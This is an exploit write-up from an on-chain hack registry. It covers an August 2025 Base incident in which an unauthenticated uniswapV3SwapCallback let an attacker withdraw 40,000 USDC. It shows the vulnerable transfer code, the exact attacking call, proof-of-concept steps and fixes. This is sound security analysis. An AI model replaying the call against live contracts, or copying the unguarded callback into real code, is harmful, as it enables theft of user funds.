Reproduced Exploit
BaseCallback `0x8d2e…` Exploit — Unauthenticated `uniswapV3SwapCallback` Self-Transfer
Unlike Q12 (approval transferFrom drain), this victim held the USDC itself. Its uniswapV3SwapCallback accepts a call from any msg.sender and, for amount0Delta > 0, does:
Loss
40,000 USDC (~$40K) held by the vulnerable contract
Chain
Base
Category
access-control
Date
Aug 2025
Source
DeFiHackLabs
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2025-08-BaseCallback0x8d2e_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/BaseCallback0x8d2e_exp.sol.
Vulnerability classes: vuln/access-control/missing-auth
Reproduction: isolated Foundry project at this project folder. Verbose run: output.txt.
Key info#
| Loss | 40,000 USDC (~$40K) held by the vulnerable contract |
| Vulnerable contract | 0x8d2Ef0d39A438C3601112AE21701819E13c41288 (0x8d2e…) |
| Token | Base USDC 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 |
| Attacker EOA | 0x4EfD5F0749b1b91AFDcD2ECf464210db733150e0 |
| Attacker contract | 0x2A59Ac31C58327EFCbF83Cc5A52fAE1b24A81440 |
| Attack tx | 0x6be0c4b5414883a933639c136971026977df4737b061f864a4a04e4bd7f07106 |
| Chain / block / date | Base / 34,459,414 (fork 34,459,413) / ~Aug 21, 2025 |
| Bug class | Public uniswapV3SwapCallback with no pool auth — positive amount0Delta causes token.transfer(recipient, amount) using attacker-controlled data |
TL;DR#
Unlike Q12 (approval transferFrom drain), this victim held the USDC itself. Its uniswapV3SwapCallback accepts a call from any msg.sender and, for amount0Delta > 0, does:
(token, recipient) = abi.decode(data, (address, address));
IERC20(token).transfer(recipient, uint256(amount0Delta));
The live attacker (via a helper contract) simply called:
vuln.uniswapV3SwapCallback(
40_000e6,
0,
abi.encode(USDC, attackContract)
);
No pool spoofing, no prior approval, no flash loan — pure missing access control on the callback.
Attack steps (PoC)#
- Fork Base at
34459414 - 1. - Read
USDC.balanceOf(vuln)→ 40,000e6. - Call
uniswapV3SwapCallback(bal, 0, abi.encode(USDC, address(this))). - Receive full 40,000 USDC.
Fix class#
- Authenticate
msg.senderas the canonical Uniswap V3 pool for the in-flight swap. - Gate transfers behind an in-swap reentrancy lock set only by the contract’s own entrypoints.
- Never let callback
datafreely choose token/recipient for outbound transfers of vault inventory.
Sources#
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2025-08-BaseCallback0x8d2e_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
BaseCallback0x8d2e_exp.sol. - Attack transaction: view on explorer.
Alerts & third-party analyses
- Original alert / thread: post on X.
- DeFiHackLabs incident explorer: search "BaseCallback
0x8d2e…Exploit". - Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.